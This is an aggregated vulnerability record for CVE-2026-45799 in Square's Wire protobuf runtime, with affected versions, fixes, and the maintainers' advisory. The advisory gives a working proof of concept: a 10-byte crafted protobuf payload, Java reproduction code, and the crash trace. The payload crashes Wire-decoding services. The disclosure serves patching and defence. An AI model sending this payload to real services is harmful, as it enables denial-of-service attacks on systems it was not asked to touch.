{"id":"CVE-2026-45799","aliases":["EUVD-2026-45301","GHSA-7xpr-hc2w-34m9","UBUNTU-CVE-2026-45799"],"status":"published","title":"Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service","description":"Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.3.0 and 7.0.0-alpha03, ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() in wire-runtime do not validate that a LENGTH_DELIMITED field length is non-negative before skip(), allowing a crafted protobuf varint encoding -128 as a signed Int to make skip(-128) move the internal position negative and make the next readByte() throw ArrayIndexOutOfBoundsException instead of the documented IOException or ProtocolException, which can crash services using ProtoAdapter.decode(byte[]) on untrusted payloads. This issue is fixed in versions 6.3.0 and 7.0.0-alpha03.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00728,"percentile":0.54516,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-129"],"published":"2026-05-19T19:54:50Z","modified":"2026-11-11T10:30:36Z","fixes":[{"ecosystem":"Maven","package":"com.squareup.wire:wire-runtime","fixed_in":["6.3.0","7.0.0-alpha03"],"sources":["ghsa","osv"]},{"ecosystem":"Maven","package":"com.squareup.wire:wire-runtime-jvm","fixed_in":["6.3.0","7.0.0-alpha03"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"com.squareup.wire:wire-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.2.0"},{"fixed":"6.3.0"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"com.squareup.wire:wire-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-alpha01"},{"last_affected":"7.0.0-alpha02"},{"fixed":"7.0.0-alpha03"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"com.squareup.wire:wire-runtime-jvm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.2.0"},{"fixed":"6.3.0"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"com.squareup.wire:wire-runtime-jvm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-alpha01"},{"last_affected":"7.0.0-alpha02"},{"fixed":"7.0.0-alpha03"}]}]},{"source":"osv","ecosystem":"Maven","package":"com.squareup.wire:wire-runtime-jvm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.3.0"}]}],"versions":["3.0.0-alpha03","4.0.0","4.0.0-alpha.10","4.0.0-alpha.11","4.0.0-alpha.12","4.0.0-alpha.15","4.0.0-alpha.16","4.0.0-alpha.17","4.0.0-alpha.18","4.0.0-alpha.19","4.0.0-alpha.20","4.0.0-alpha.8","4.0.0-alpha.9","4.0.1","4.1.0","4.1.1","4.2.0","4.3.0","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.5.1","4.5.2","4.5.3","4.5.4","4.5.5","4.5.6","4.6.0","4.6.1","4.6.2","4.7.0","4.7.1","4.7.2","4.8.0","4.8.1","4.9.0","4.9.1","4.9.11","4.9.2","4.9.3","4.9.4","4.9.5","4.9.6","4.9.7","4.9.8","4.9.9","5.0.0","5.0.0-alpha01","5.0.0-alpha02","5.0.0-alpha03","5.0.0-alpha04","5.1.0","5.2.0","5.2.1","5.3.0","5.3.1","5.3.10","5.3.11","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.4.0","5.5.0","5.5.1","6.0.0","6.0.0-alpha01","6.0.0-alpha02","6.0.0-alpha03","6.1.0","6.2.0"]},{"source":"osv","ecosystem":"Maven","package":"com.squareup.wire:wire-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.3.0"}]}],"versions":["1.0.0","1.0.1","1.1.0","1.1.1","1.2.0","1.3.0","1.3.1","1.3.2","1.3.3","1.4.0","1.5.0","1.5.1","1.5.2","1.6.0","1.6.1","1.7.0","1.8.0","2.0.0","2.0.0-BETA1","2.0.0-BETA10","2.0.0-BETA2","2.0.0-BETA3","2.0.0-BETA4","2.0.0-BETA5","2.0.0-BETA6","2.0.0-BETA7","2.0.0-BETA8","2.0.0-BETA9","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.2.0","2.3.0-RC1","3.0.0","3.0.0-alpha01","3.0.0-alpha02","3.0.0-alpha03","3.0.0-rc01","3.0.0-rc02","3.0.0-rc03","3.0.1","3.0.2","3.0.3","3.1.0","3.2.0","3.2.1","3.2.2","3.3.0","3.3.0-alpha1","3.4.0","3.5.0","3.6.0","3.6.1","3.7.0","3.7.1","4.0.0","4.0.0-alpha.1","4.0.0-alpha.10","4.0.0-alpha.11","4.0.0-alpha.12","4.0.0-alpha.15","4.0.0-alpha.16","4.0.0-alpha.17","4.0.0-alpha.18","4.0.0-alpha.19","4.0.0-alpha.2","4.0.0-alpha.20","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-alpha.5","4.0.0-alpha.6","4.0.0-alpha.7","4.0.0-alpha.8","4.0.0-alpha.9","4.0.1","4.1.0","4.1.1","4.2.0","4.3.0","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.5.1","4.5.2","4.5.3","4.5.4","4.5.5","4.5.6","4.6.0","4.6.1","4.6.2","4.7.0","4.7.1","4.7.2","4.8.0","4.8.1","4.9.0","4.9.1","4.9.11","4.9.2","4.9.3","4.9.4","4.9.5","4.9.6","4.9.7","4.9.8","4.9.9","5.0.0","5.0.0-alpha01","5.0.0-alpha02","5.0.0-alpha03","5.0.0-alpha04","5.1.0","5.2.0","5.2.1","5.3.0","5.3.1","5.3.10","5.3.11","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.4.0","5.5.0","5.5.1","6.0.0","6.0.0-alpha01","6.0.0-alpha02","6.0.0-alpha03","6.1.0","6.2.0"]},{"source":"osv","ecosystem":"Maven","package":"com.squareup.wire:wire-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-alpha01"},{"fixed":"7.0.0-alpha03"}]}],"versions":["7.0.0-alpha01","7.0.0-alpha02"]},{"source":"osv","ecosystem":"Maven","package":"com.squareup.wire:wire-runtime-jvm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-alpha01"},{"fixed":"7.0.0-alpha03"}]}],"versions":["7.0.0-alpha01","7.0.0-alpha02"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"grpc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.10.2-1","0.11.1-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"grpc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.2-1","1.3.2-1ubuntu1","1.3.2-1.1~build1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"grpc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.16.1-1","1.16.1-1ubuntu1","1.16.1-1ubuntu3","1.16.1-1ubuntu4","1.16.1-1ubuntu5"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"grpc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.30.2-3","1.30.2-3build1","1.30.2-3build3","1.30.2-3build5","1.30.2-3build6"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"grpc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.51.1-3build3","1.51.1-3build4","1.51.1-4","1.51.1-4build1","1.51.1-4build2","1.51.1-4.1build3","1.51.1-4.1build4","1.51.1-4.1build5"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"grpc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.51.1-8ubuntu1","1.51.1-9","1.51.1-9ubuntu3","1.51.1-10ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"grpc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.51.1-6build1","1.51.1-7","1.51.1-7ubuntu2","1.51.1-7ubuntu3","1.51.1-8ubuntu1"]}],"products":[{"vendor":"square","product":"wire"},{"vendor":"squareup","product":"wire"}],"references":[{"url":"https://github.com/square/wire/security/advisories/GHSA-7xpr-hc2w-34m9","tags":["x_refsource_CONFIRM","exploit","Vendor Advisory","Exploit","advisory","web"]},{"url":"https://github.com/square/wire/pull/3595","tags":["x_refsource_MISC","Issue Tracking","fix","web"]},{"url":"https://github.com/square/wire/pull/3597","tags":["x_refsource_MISC","Issue Tracking","fix","web"]},{"url":"https://github.com/square/wire/commit/47d5b0dba53935d5332cd41a80a353b3fc90e7b0","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/square/wire/commit/e4e56fab38a547d9625f05c97f1d8f0bcc3a5773","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/square/wire/releases/tag/6.3.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/square/wire/releases/tag/7.0.0-alpha03","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45799","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7xpr-hc2w-34m9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45799.json","tags":["advisory"]},{"url":"https://github.com/square/wire","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-45799","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45799","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-45799","title":"Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service","description":"Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.3.0 and 7.0.0-alpha03, ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() in wire-runtime do not validate that a LENGTH_DELIMITED field length is non-negative before skip(), allowing a crafted protobuf varint encoding -128 as a signed Int to make skip(-128) move the internal position negative and make the next readByte() throw ArrayIndexOutOfBoundsException instead of the documented IOException or ProtocolException, which can crash services using ProtoAdapter.decode(byte[]) on untrusted payloads. This issue is fixed in versions 6.3.0 and 7.0.0-alpha03.","status":"published","published":"2026-07-17T19:49:30.331Z","modified":"2026-07-20T13:51:25.748Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-129"],"updated_at":"2026-11-02T13:46:43.922571Z"}],"euvd":[{"id":"EUVD-2026-45301","description":"Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.3.0 and 7.0.0-alpha03, ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() in wire-runtime do not validate that a LENGTH_DELIMITED field length is non-negative before skip(), allowing a crafted protobuf varint encoding -128 as a signed Int to make skip(-128) move the internal position negative and make the next readByte() throw ArrayIndexOutOfBoundsException instead of the documented IOException or ProtocolException, which can crash services using ProtoAdapter.decode(byte[]) on untrusted payloads. This issue is fixed in versions 6.3.0 and 7.0.0-alpha03.","status":"published","published":"2026-07-17T19:49:30Z","modified":"2026-07-20T13:51:25Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:19:49.035342Z"}],"ghsa":[{"id":"GHSA-7xpr-hc2w-34m9","title":"Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service ","description":"# CVE-2026-45799\n\n## Maintainer summary\n\nWire's protobuf group-skipping logic did not reject negative lengths before skipping a\nlength-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an\nunchecked runtime exception during decoding instead of the documented `IOException` /\n`ProtocolException` failure path.\n\nThis can crash services that decode untrusted protobuf payloads and only handle Wire's documented\nchecked decoding failures.\n\n## Affected artifacts\n\n### `com.squareup.wire:wire-runtime`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### `com.squareup.wire:wire-runtime-jvm`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### Wire 7 alpha releases\n\nThe fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until\nthat release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with\naffected alpha versions or build from a commit containing the fix.\n\n## Fix\n\nThe issue is fixed in Wire `6.3.0`.\n\nThe fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of\nallowing the reader to move to an invalid position and later throw an unchecked runtime exception.\n\n## Credit\n\nReported by @TrekLaps.\n\n## Technical details\n\nThe following technical details are based on the original report, updated by the maintainers to\nreflect the assigned CVE, the supported fixed artifact, and the discontinued status of\n`com.squareup.wire:wire-runtime-jvm`.\n\n`ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a\n`LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf\nvarint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter\nunderflows to an invalid negative position. The next `readByte()` accesses the source with that\nnegative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes\nWire's documented `IOException` boundary and can crash the request handler.\n\n`ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented\nAPI may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape\nthe expected error boundary.\n\nThe originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the\ndiscontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate\nis `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`.\n\n## Root cause\n\nIn the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the\nlength as a signed `Int` and used it without validating that it was non-negative:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -\u003e {\n  val length = internalReadVarint32() // returns signed Int and can be negative\n  skip(length)                        // no negative check\n}\n```\n\nThe internal `skip()` implementation then accepted the negative count because the computed\nposition was not greater than the limit:\n\n```kotlin\nprivate fun skip(byteCount: Int) {\n  val newPos = pos + byteCount        // for example, 7 + (-128) = -121\n  if (newPos \u003e limit) throw EOFException()\n  pos = newPos                        // pos = -121\n}\n```\n\nThe next read could then index the source with the invalid negative position:\n\n```kotlin\nprivate fun readByte(): Byte {\n  if (pos == limit) throw EOFException()\n  return source[pos++]                // source[-121] throws ArrayIndexOutOfBoundsException\n}\n```\n\nWire already rejected negative lengths in normal length-delimited field decoding. The same\nvalidation was missing from group-skipping code.\n\nThe fix adds this validation when skipping groups:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -\u003e {\n  val length = internalReadVarint32()\n  if (length \u003c 0) throw ProtocolException(\"Negative length: $length...\")\n  skip(length)\n}\n```\n\nThe fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`.\n\n## Reproduction\n\nThe following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as\n`5.3.1` and `5.3.3`:\n\n```bash\ncurl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar\ncurl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar\ncurl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar\n```\n\n```java\n// WirePoc.java\nimport com.squareup.wire.AnyMessage;\n\npublic class WirePoc {\n  public static void main(String[] args) throws Exception {\n    byte[] payload = new byte[] {\n      (byte) 0x9B, 0x06,                                          // field 99, START_GROUP\n      0x0A,                                                       // field 1, LENGTH_DELIMITED\n      (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F,   // varint = -128\n      (byte) 0x9C, 0x06                                           // field 99, END_GROUP\n    };\n\n    AnyMessage.ADAPTER.decode(payload);\n  }\n}\n```\n\n```bash\njavac -cp \"wire.jar:okio.jar:stdlib.jar\" WirePoc.java\njava -cp \".:wire.jar:okio.jar:stdlib.jar\" WirePoc\n```\n\nObserved output on vulnerable versions:\n\n```text\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10\n    at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)\n    at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)\n    at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)\n    at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)\n    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)\n    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)\n    at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)\n    at WirePoc.main(WirePoc.java:10)\n```\n\nWith the fix, the same payload is rejected with `ProtocolException`.\n\n## Why this can affect any Wire-decoding service\n\n`skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown\nfield, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()`\nregardless of which message type the service uses, so no schema knowledge is required.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int\n0x9C 0x06                 field 99, END_GROUP\n```","status":"published","published":"2026-05-19T19:54:50Z","modified":"2026-08-05T14:55:26Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-129"],"updated_at":"2026-11-02T14:40:56.852119Z"}],"nvd":[{"id":"CVE-2026-45799","description":"Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.3.0 and 7.0.0-alpha03, ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() in wire-runtime do not validate that a LENGTH_DELIMITED field length is non-negative before skip(), allowing a crafted protobuf varint encoding -128 as a signed Int to make skip(-128) move the internal position negative and make the next readByte() throw ArrayIndexOutOfBoundsException instead of the documented IOException or ProtocolException, which can crash services using ProtoAdapter.decode(byte[]) on untrusted payloads. This issue is fixed in versions 6.3.0 and 7.0.0-alpha03.","status":"published","published":"2026-07-17T20:17:18.393Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-129"],"updated_at":"2026-11-02T14:12:30.250437Z"}],"osv":[{"id":"CVE-2026-45799","title":"Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service","description":"Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.3.0 and 7.0.0-alpha03, ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() in wire-runtime do not validate that a LENGTH_DELIMITED field length is non-negative before skip(), allowing a crafted protobuf varint encoding -128 as a signed Int to make skip(-128) move the internal position negative and make the next readByte() throw ArrayIndexOutOfBoundsException instead of the documented IOException or ProtocolException, which can crash services using ProtoAdapter.decode(byte[]) on untrusted payloads. This issue is fixed in versions 6.3.0 and 7.0.0-alpha03.","status":"published","published":"2026-07-17T19:49:30.331Z","modified":"2026-11-11T10:30:36.176171403Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-129"],"updated_at":"2026-11-11T11:06:46.44415Z"},{"id":"GHSA-7xpr-hc2w-34m9","title":"Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service ","description":"# CVE-2026-45799\n\n## Maintainer summary\n\nWire's protobuf group-skipping logic did not reject negative lengths before skipping a\nlength-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an\nunchecked runtime exception during decoding instead of the documented `IOException` /\n`ProtocolException` failure path.\n\nThis can crash services that decode untrusted protobuf payloads and only handle Wire's documented\nchecked decoding failures.\n\n## Affected artifacts\n\n### `com.squareup.wire:wire-runtime`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### `com.squareup.wire:wire-runtime-jvm`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### Wire 7 alpha releases\n\nThe fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until\nthat release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with\naffected alpha versions or build from a commit containing the fix.\n\n## Fix\n\nThe issue is fixed in Wire `6.3.0`.\n\nThe fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of\nallowing the reader to move to an invalid position and later throw an unchecked runtime exception.\n\n## Credit\n\nReported by @TrekLaps.\n\n## Technical details\n\nThe following technical details are based on the original report, updated by the maintainers to\nreflect the assigned CVE, the supported fixed artifact, and the discontinued status of\n`com.squareup.wire:wire-runtime-jvm`.\n\n`ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a\n`LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf\nvarint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter\nunderflows to an invalid negative position. The next `readByte()` accesses the source with that\nnegative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes\nWire's documented `IOException` boundary and can crash the request handler.\n\n`ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented\nAPI may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape\nthe expected error boundary.\n\nThe originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the\ndiscontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate\nis `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`.\n\n## Root cause\n\nIn the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the\nlength as a signed `Int` and used it without validating that it was non-negative:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -\u003e {\n  val length = internalReadVarint32() // returns signed Int and can be negative\n  skip(length)                        // no negative check\n}\n```\n\nThe internal `skip()` implementation then accepted the negative count because the computed\nposition was not greater than the limit:\n\n```kotlin\nprivate fun skip(byteCount: Int) {\n  val newPos = pos + byteCount        // for example, 7 + (-128) = -121\n  if (newPos \u003e limit) throw EOFException()\n  pos = newPos                        // pos = -121\n}\n```\n\nThe next read could then index the source with the invalid negative position:\n\n```kotlin\nprivate fun readByte(): Byte {\n  if (pos == limit) throw EOFException()\n  return source[pos++]                // source[-121] throws ArrayIndexOutOfBoundsException\n}\n```\n\nWire already rejected negative lengths in normal length-delimited field decoding. The same\nvalidation was missing from group-skipping code.\n\nThe fix adds this validation when skipping groups:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -\u003e {\n  val length = internalReadVarint32()\n  if (length \u003c 0) throw ProtocolException(\"Negative length: $length...\")\n  skip(length)\n}\n```\n\nThe fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`.\n\n## Reproduction\n\nThe following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as\n`5.3.1` and `5.3.3`:\n\n```bash\ncurl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar\ncurl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar\ncurl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar\n```\n\n```java\n// WirePoc.java\nimport com.squareup.wire.AnyMessage;\n\npublic class WirePoc {\n  public static void main(String[] args) throws Exception {\n    byte[] payload = new byte[] {\n      (byte) 0x9B, 0x06,                                          // field 99, START_GROUP\n      0x0A,                                                       // field 1, LENGTH_DELIMITED\n      (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F,   // varint = -128\n      (byte) 0x9C, 0x06                                           // field 99, END_GROUP\n    };\n\n    AnyMessage.ADAPTER.decode(payload);\n  }\n}\n```\n\n```bash\njavac -cp \"wire.jar:okio.jar:stdlib.jar\" WirePoc.java\njava -cp \".:wire.jar:okio.jar:stdlib.jar\" WirePoc\n```\n\nObserved output on vulnerable versions:\n\n```text\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10\n    at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)\n    at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)\n    at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)\n    at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)\n    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)\n    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)\n    at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)\n    at WirePoc.main(WirePoc.java:10)\n```\n\nWith the fix, the same payload is rejected with `ProtocolException`.\n\n## Why this can affect any Wire-decoding service\n\n`skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown\nfield, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()`\nregardless of which message type the service uses, so no schema knowledge is required.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int\n0x9C 0x06                 field 99, END_GROUP\n```","status":"published","published":"2026-05-19T19:54:50Z","modified":"2026-08-05T15:00:21.927555867Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-129"],"updated_at":"2026-11-02T15:46:41.732368Z"},{"id":"UBUNTU-CVE-2026-45799","description":"Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.3.0 and 7.0.0-alpha03, ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() in wire-runtime do not validate that a LENGTH_DELIMITED field length is non-negative before skip(), allowing a crafted protobuf varint encoding -128 as a signed Int to make skip(-128) move the internal position negative and make the next readByte() throw ArrayIndexOutOfBoundsException instead of the documented IOException or ProtocolException, which can crash services using ProtoAdapter.decode(byte[]) on untrusted payloads. This issue is fixed in versions 6.3.0 and 7.0.0-alpha03.","status":"published","published":"2026-07-17T20:17:00Z","modified":"2026-10-17T13:00:11.47866212Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:26.396868Z"}]}}
